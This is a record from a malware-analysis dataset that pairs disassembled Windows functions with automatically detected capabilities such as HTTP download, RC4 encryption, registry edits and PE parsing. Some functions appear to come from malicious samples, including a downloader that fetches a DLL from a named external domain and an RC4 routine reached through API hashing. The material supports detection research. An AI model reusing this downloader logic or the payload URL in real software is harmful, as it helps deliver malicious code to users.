joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400019a0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor esi, esi
lea rcx, [0x140004330]
mov r13, r8
mov dword [rsp + 0x30], esi
mov r12, rdx
mov dword [rsp + 0x20], esi
xor r8d, r8d
xor edx, edx
xor r9d, r9d
mov edi, esi
mov ebx, esi
mov r14d, 1
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
jne 0x1400019fc
mov eax, esi
jmp 0x140001b8d
mov qword [rsp + 0x28], rsi
lea rdx, str.http:__mvinteuil.xyz_msys_2.0.dll
xor r9d, r9d
mov dword [rsp + 0x20], 0x2400
xor r8d, r8d
mov qword [rsp + 0x80], r15
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
jne 0x140001a52
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x27
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov eax, esi
jmp 0x140001b85
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x140001b4c
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001b4c
nop dword [rax]
mov edx, dword [rsp + 0x30]
add rdi, rdx
test rbx, rbx
jne 0x140001aa9
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x140001abb
mov r8d, 0x42
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
test rax, rax
je 0x140001b4c
mov r8d, dword [rsp + 0x30]
mov rcx, rax
sub rcx, r8
xor edx, edx
add rcx, rdi
mov r9d, r8d
test r8d, r8d
je 0x140001b0a
mov r8, rsi
sub r8, rcx
nop word [rax + rax]
movzx eax, byte [rcx + r8]
inc edx
mov byte [rcx], al
lea rcx, [rcx + 1]
movsxd rax, edx
cmp rax, r9
jb 0x140001af0
mov r8d, dword [rsp + 0x30]
mov eax, r8d
test r8d, r8d
je 0x140001b24
mov r8d, eax
xor edx, edx
mov rcx, rsi
call fcn.1400013c0
mov r8d, dword [rsp + 0x30]
cmp r8d, 0x400
jb 0x140001ba9
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001a90
xor r14d, r14d
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x27
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
test rsi, rsi
je 0x140001b82
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, r14d
mov r15, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140002d00
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov qword [r12], rbx
mov qword [r13], rdi
jmp 0x140001b4f
Function at 0x140001bc0
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rax, [0x14000e3b0]
mov dword [rsp + 0x40], 0x10
mov dword [rsp + 0x44], 0x10
mov ecx, 0xf111e22
mov qword [r11 - 0x30], rax
mov dword [r11 - 0x28], r9d
mov dword [r11 - 0x24], r9d
mov qword [r11 - 0x20], rdx
mov qword [r11 - 0x48], 0
mov qword [r11 - 0x40], 0
call fcn.140001830
mov rcx, rax
mov edx, 0x1474a8e9
call fcn.140001660
mov rcx, qword [0x14000e9b8]
mov edx, 0x16862d0c
mov rsi, rax
call fcn.140001660
mov rcx, qword [0x14000e9b8]
mov edx, 0x1ae635cc
mov rbx, rax
call fcn.140001660
mov r9d, 1
mov byte [rsp + 0x20], 0
xor r8d, r8d
lea rcx, [rsp + 0x30]
mov edx, 0x1f0003
mov rdi, rax
call rbx
mov rdx, qword [rsp + 0x30]
lea r9, str.Advapi32.dll
mov r8, rsi
mov dword [rsp + 0x28], 0xc
lea rcx, [rsp + 0x38]
mov dword [rsp + 0x20], 0
call rdi
mov ebx, 0x64
nop dword [rax]
mov ecx, 0xe359c6b
call fcn.140001830
test rax, rax
jne 0x140001cb4
add ebx, 0xffffffff
jne 0x140001ca0
lea rdx, str.SystemFunction032
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call rax
mov eax, 1
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140002d00
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400036ec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003736
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003736
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003736
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003736
cmp dword [rcx + 0x84], 0xe
jbe 0x140003736
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003738
xor al, al
add rsp, 0x28
ret
Function at 0x1400022f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000233a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000233a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000233a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000233a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000233a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000233c
xor al, al
add rsp, 0x28
ret
Function at 0x180004720
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp byte [r8], 0
mov ebp, r9d
mov rsi, r8
mov rax, rdx
mov rdi, rcx
je 0x180004810
mov rdx, r8
mov qword [rsp + 0x50], rbx
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ebx, eax
test eax, 0xfffffffd
je 0x18000480c
mov ecx, 0xb80010
call qword [sym.imp.VBoxRT.dll_RTLogRelGetDefaultInstanceEx]
test rax, rax
je 0x1800047ba
lea rdx, str.VBPS_LOGREL_NO_ASSERT_rc__ERROR_ACCESS_DENIED_
mov r8d, VarDecFix
mov qword [rsp + 0x38], rdx
lea r9, str.AssertLogRel__s__d___s:__s_n
lea rdx, str.long___cdecl_vbpsDeleteKeyRecursiveA_struct_VBPSREGSTATE__struct_HKEY____const_char__unsigned_int_
mov rcx, rax
mov qword [rsp + 0x30], rdx
lea rdx, str.C:DevelAntidetect4PersonalVirtualBox_srcVBoxMain_src_allwinVBoxProxyStub.c
mov dword [rsp + 0x28], 0x3e2
mov qword [rsp + 0x20], rdx
mov edx, 0x10
call qword [sym.imp.VBoxRT.dll_RTLogLoggerEx]
mov ecx, 0xb80010
call qword [sym.imp.VBoxRT.dll_RTLogRelGetDefaultInstanceEx]
test rax, rax
je 0x1800047f2
mov dword [rsp + 0x30], ebx
lea r9, str._d:_delete_key__s_____u_n
mov qword [rsp + 0x28], rsi
mov edx, 0x10
mov r8d, VarDecFix
mov dword [rsp + 0x20], ebp
mov rcx, rax
call qword [sym.imp.VBoxRT.dll_RTLogLoggerEx]
mov dword [rdi + 0x64], ebx
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
xor eax, eax
jmp 0x1800047f7
mov rbp, qword [rsp + 0x58]
mov eax, 0x57
mov rsi, qword [rsp + 0x60]
mov dword [rcx + 0x64], 0x57
add rsp, 0x40
pop rdi
ret
Function at 0x180004830
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp word [r8], 0
mov ebp, r9d
mov rsi, r8
mov rax, rdx
mov rdi, rcx
je 0x180004921
mov rdx, r8
mov qword [rsp + 0x50], rbx
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
mov ebx, eax
test eax, 0xfffffffd
je 0x18000491d
mov ecx, 0xb80010
call qword [sym.imp.VBoxRT.dll_RTLogRelGetDefaultInstanceEx]
test rax, rax
je 0x1800048cb
lea rdx, str.VBPS_LOGREL_NO_ASSERT_rc__ERROR_ACCESS_DENIED_
mov r8d, VarDecFix
mov qword [rsp + 0x38], rdx
lea r9, str.AssertLogRel__s__d___s:__s_n
lea rdx, str.long___cdecl_vbpsDeleteKeyRecursiveW_struct_VBPSREGSTATE__struct_HKEY____const_unsigned_short__unsigned_int_
mov rcx, rax
mov qword [rsp + 0x30], rdx
lea rdx, str.C:DevelAntidetect4PersonalVirtualBox_srcVBoxMain_src_allwinVBoxProxyStub.c
mov dword [rsp + 0x28], 0x40a
mov qword [rsp + 0x20], rdx
mov edx, 0x10
call qword [sym.imp.VBoxRT.dll_RTLogLoggerEx]
mov ecx, 0xb80010
call qword [sym.imp.VBoxRT.dll_RTLogRelGetDefaultInstanceEx]
test rax, rax
je 0x180004903
mov dword [rsp + 0x30], ebx
lea r9, str._d:_delete_key__ls_____u_n
mov qword [rsp + 0x28], rsi
mov edx, 0x10
mov r8d, VarDecFix
mov dword [rsp + 0x20], ebp
mov rcx, rax
call qword [sym.imp.VBoxRT.dll_RTLogLoggerEx]
mov dword [rdi + 0x64], ebx
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
xor eax, eax
jmp 0x180004908
mov rbp, qword [rsp + 0x58]
mov eax, 0x57
mov rsi, qword [rsp + 0x60]
mov dword [rcx + 0x64], 0x57
add rsp, 0x40
pop rdi
ret
Function at 0x180005e10
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x50
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], rdi
mov rax, qword [0x180044688]
xor rax, rbp
mov qword [rbp + 8], rax
mov rdi, r9
mov r12, r8
mov r13, rdx
mov r15, rcx
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [r9 + rbx], 0
jne 0x180005e50
inc ebx
cmp byte [rcx + 0x78], 0
jne 0x180005eec
lea eax, [rbx + 0x80]
mov ecx, eax
mov dword [rbp], eax
add rax, 0xf
cmp rax, rcx
ja 0x180005e84
movabs rax, 0xffffffffffffff0
and rax, 0xfffffffffffffff0
call fcn.1800074a0
sub rsp, rax
lea r9, [rbp + 4]
lea rax, [rbp]
xor r8d, r8d
mov rdx, r12
mov rcx, r13
mov qword [rsp + 0x28], rax
lea r14, [rsp + 0x40]
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180005eec
cmp dword [rbp + 4], 1
jne 0x180005eec
cmp dword [rbp], ebx
jne 0x180005eec
mov r8d, ebx
mov rdx, r14
mov rcx, rdi
mov esi, ebx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x180005f10
mov r8d, esi
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__memicmp]
test eax, eax
je 0x180005f10
mov dword [rsp + 0x28], ebx
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rdi
mov rdx, r12
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
test eax, eax
jne 0x180005f17
xor eax, eax
jmp 0x180005fb4
mov ecx, 0xb80010
call qword [sym.imp.VBoxRT.dll_RTLogRelGetDefaultInstanceEx]
test rax, rax
je 0x180005f6e
lea rdx, str.VBPS_LOGREL_NO_ASSERT_rc__ERROR_ACCESS_DENIED_
mov r8d, VarDecFix
mov qword [rsp + 0x38], rdx
lea r9, str.AssertLogRel__s__d___s:__s_n
lea rdx, str.long___cdecl_vbpsSetRegValueAA_struct_VBPSREGSTATE__struct_HKEY____const_char__const_char__unsigned_int_
mov rcx, rax
mov qword [rsp + 0x30], rdx
lea rdx, str.C:DevelAntidetect4PersonalVirtualBox_srcVBoxMain_src_allwinVBoxProxyStub.c
mov dword [rsp + 0x28], 0x322
mov qword [rsp + 0x20], rdx
mov edx, 0x10
call qword [sym.imp.VBoxRT.dll_RTLogLoggerEx]
mov ecx, 0xb80010
call qword [sym.imp.VBoxRT.dll_RTLogRelGetDefaultInstanceEx]
test rax, rax
je 0x180005fae
mov ecx, dword [rbp + 0x60]
lea r9, str._d:__s_s_____u_n
mov dword [rsp + 0x38], ebx
mov edx, 0x10
mov qword [rsp + 0x30], rdi
mov r8d, VarDecFix
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], ecx
mov rcx, rax
call qword [sym.imp.VBoxRT.dll_RTLogLoggerEx]
mov dword [r15 + 0x64], ebx
mov eax, ebx
mov rcx, qword [rbp + 8]
xor rcx, rbp
call fcn.180007500
mov rbx, qword [rbp + 0x40]
mov rsi, qword [rbp + 0x48]
mov rdi, qword [rbp + 0x50]
lea rsp, [rbp + 0x10]
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x180005fe0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x50
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], rsi
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], r12
mov rax, qword [0x180044688]
xor rax, rbp
mov qword [rbp + 8], rax
mov rsi, rcx
mov rdi, r9
mov rcx, r9
mov r14, r8
mov r12, rdx
call qword [sym.imp.VBoxRT.dll_RTUtf16Len]
cmp byte [rsi + 0x78], 0
lea ebx, [rax*2 + 2]
jne 0x1800060a1
lea eax, [rbx + 0x80]
mov r10d, eax
mov dword [rbp], eax
add rax, 0xf
cmp rax, r10
ja 0x18000604e
movabs rax, 0xffffffffffffff0
and rax, 0xfffffffffffffff0
call fcn.1800074a0
sub rsp, rax
lea r9, [rbp + 4]
lea rax, [rbp]
xor r8d, r8d
mov rdx, r14
mov rcx, r12
mov qword [rsp + 0x28], rax
lea r15, [rsp + 0x40]
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1800060a1
cmp dword [rbp + 4], 1
jne 0x1800060a1
cmp dword [rbp], ebx
jne 0x1800060a1
mov r8d, ebx
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1800060c5
mov dword [rsp + 0x28], ebx
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rdi
mov rdx, r14
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x1800060cc
xor eax, eax
jmp 0x180006168
mov ecx, 0xb80010
call qword [sym.imp.VBoxRT.dll_RTLogRelGetDefaultInstanceEx]
test rax, rax
je 0x180006123
lea rdx, str.VBPS_LOGREL_NO_ASSERT_rc__ERROR_ACCESS_DENIED_
mov r8d, VarDecFix
mov qword [rsp + 0x38], rdx
lea r9, str.AssertLogRel__s__d___s:__s_n
lea rdx, str.long___cdecl_vbpsSetRegValueWW_struct_VBPSREGSTATE__struct_HKEY____const_unsigned_short__const_unsigned_short__unsigned_int_
mov rcx, rax
mov qword [rsp + 0x30], rdx
lea rdx, str.C:DevelAntidetect4PersonalVirtualBox_srcVBoxMain_src_allwinVBoxProxyStub.c
mov dword [rsp + 0x28], 0x2df
mov qword [rsp + 0x20], rdx
mov edx, 0x10
call qword [sym.imp.VBoxRT.dll_RTLogLoggerEx]
mov ecx, 0xb80010
call qword [sym.imp.VBoxRT.dll_RTLogRelGetDefaultInstanceEx]
test rax, rax
je 0x180006163
mov ecx, dword [rbp + 0x50]
lea r9, str._d:__ls_ls_____u_n
mov dword [rsp + 0x38], ebx
mov edx, 0x10
mov qword [rsp + 0x30], rdi
mov r8d, VarDecFix
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], ecx
mov rcx, rax
call qword [sym.imp.VBoxRT.dll_RTLogLoggerEx]
mov dword [rsi + 0x64], ebx
mov eax, ebx
mov rcx, qword [rbp + 8]
xor rcx, rbp
call fcn.180007500
mov rbx, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x40]
mov r12, qword [rbp + 0x48]
lea rsp, [rbp + 0x10]
pop r15
pop r14
pop rbp
ret
Function at 0x10007510
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xa0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor edi, edi
xor eax, eax
lock cmpxchg qword [0x10015150], rbx
je 0x10007566
cmp rax, rbx
jne 0x10007559
mov edi, 1
jmp 0x10007566
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10007540
mov eax, dword [0x10015148]
cmp eax, 1
jne 0x1000757b
lea ecx, [rax + 0x1e]
call fcn.1018c000
jmp 0x100075ba
mov eax, dword [0x10015148]
test eax, eax
jne 0x100075b0
mov dword [0x10015148], 1
lea rdx, [0x100014d0]
lea rcx, [0x100014b8]
call sub.MSVCR80.dll__initterm_e
test eax, eax
je 0x100075ba
mov eax, 0xff
jmp 0x10007714
mov dword [0x10014314], 1
mov eax, dword [0x10015148]
cmp eax, 1
jne 0x100075e2
lea rdx, [0x100014b0]
lea rcx, [0x10001470]
call sub.MSVCR80.dll__initterm
mov dword [0x10015148], 2
test edi, edi
jne 0x100075ef
xor eax, eax
xchg qword [0x10015150], rax
cmp qword [0x10015168], 0
je 0x10007618
lea rcx, [0x10015168]
call fcn.10007b90
test eax, eax
je 0x10007618
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x10015168]
mov rax, qword [sym.imp.MSVCR80.dll__acmdln]
mov rbx, qword [rax]
mov qword [rsp + 0x28], rbx
mov edi, dword [rsp + 0x20]
nop
nop
movzx ecx, byte [rbx]
cmp cl, 0x20
ja 0x100076aa
test cl, cl
je 0x10007640
test edi, edi
jne 0x100076aa
movzx eax, byte [rbx]
test al, al
je 0x10007656
cmp al, 0x20
ja 0x10007656
add rbx, 1
mov qword [rsp + 0x28], rbx
jmp 0x10007640
test byte [rsp + 0x6c], 1
je 0x10007665
movzx r9d, word [rsp + 0x70]
jmp 0x1000766b
mov r9d, 0xa
mov r8, rbx
xor edx, edx
lea rcx, [0x10000000]
call fcn.10005300
mov dword [0x10014310], eax
cmp dword [0x100142f4], 0
jne 0x10007693
mov ecx, eax
call qword [sym.imp.MSVCR80.dll_exit]
cmp dword [0x10014314], 0
jne 0x100076a8
call qword [sym.imp.MSVCR80.dll__cexit]
mov eax, dword [0x10014310]
jmp 0x1000770d
cmp cl, 0x22
jne 0x100076bc
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [rsp + 0x20], eax
movzx ecx, cl
call qword [sym.imp.MSVCR80.dll__ismbblead]
test eax, eax
je 0x100076d2
add rbx, 1
mov qword [rsp + 0x28], rbx
add rbx, 1
mov qword [rsp + 0x28], rbx
jmp 0x10007630
jmp 0x10007714
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret
sub rsp, 0x28
call fcn.10007c10
add rsp, 0x28
jmp 0x10007510
Function at 0x1c37058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.01c371df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1c37089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1c3706f
add dl, dl
jne 0x1c37096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1c370f6
xor eax, eax
add dl, dl
jne 0x1c370a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1c371ad
add dl, dl
jne 0x1c370b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1c370c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1c370d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1c370dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1c370ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1c3707e
mov eax, 1
add dl, dl
jne 0x1c37106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1c37113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1c370fb
sub eax, ebx
mov ebx, 1
jne 0x1c3714c
mov ecx, 1
add dl, dl
jne 0x1c3712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1c3713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1c37123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1c3707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1c37168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1c37175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1c3715d
cmp eax, 0x7d00
jae 0x1c3719b
cmp eax, 0x500
jb 0x1c37196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1c3707e
cmp eax, 0x7f
ja 0x1c3719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1c3707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1c371d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1c3707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140006168
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400061b2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400061b2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400061b2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400061b2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400061b2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400061b4
xor al, al
add rsp, 0x28
ret
Function at 0x401465
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x004a6550]
mov dword [rax], 1
mov rax, qword [0x004a6560]
mov dword [rax], 1
mov rax, qword [0x004a6570]
mov dword [rax], 1
mov rax, qword [0x004a6540]
mov dword [rax], 1
mov rax, qword [0x004a63c0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x4014c3
mov eax, 0
jmp 0x401570
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x4014ef
mov eax, 0
jmp 0x401570
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x401515
cmp eax, 0x20b
je 0x40153c
jmp 0x40156b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x401528
mov eax, 0
jmp 0x401570
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x401570
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x401557
mov eax, 0
jmp 0x401570
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x401570
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x487e20
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x20], r8
mov qword [rbp - 0x18], r9
lea rax, [rbp - 0x28]
mov qword [rbp - 0x58], rax
mov ecx, 2
call fcn.0048fe50
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 0x58]
mov ecx, 2
call fcn.0048fe50
mov r8, rbx
mov rdx, qword [rbp - 0x30]
mov rcx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x488a26
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x004b53c8]
test eax, eax
je 0x488ab4
lea rcx, [0x004b53a0]
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x004b53d0]
mov qword [rbp - 8], rax
jmp 0x488a9b
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x488a8f
cmp qword [rbp - 0x10], 0
je 0x488a8f
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x488a55
lea rcx, [0x004b53a0]
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x488ab5
nop
add rsp, 0x30
pop rbp
ret

Function at 0x488bc0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x488be8
mov eax, 0
jmp 0x488c36
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x488c11
mov eax, 0
jmp 0x488c36
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x488c31
mov eax, 0
jmp 0x488c36
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x488c3c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x488cba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x488cb1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
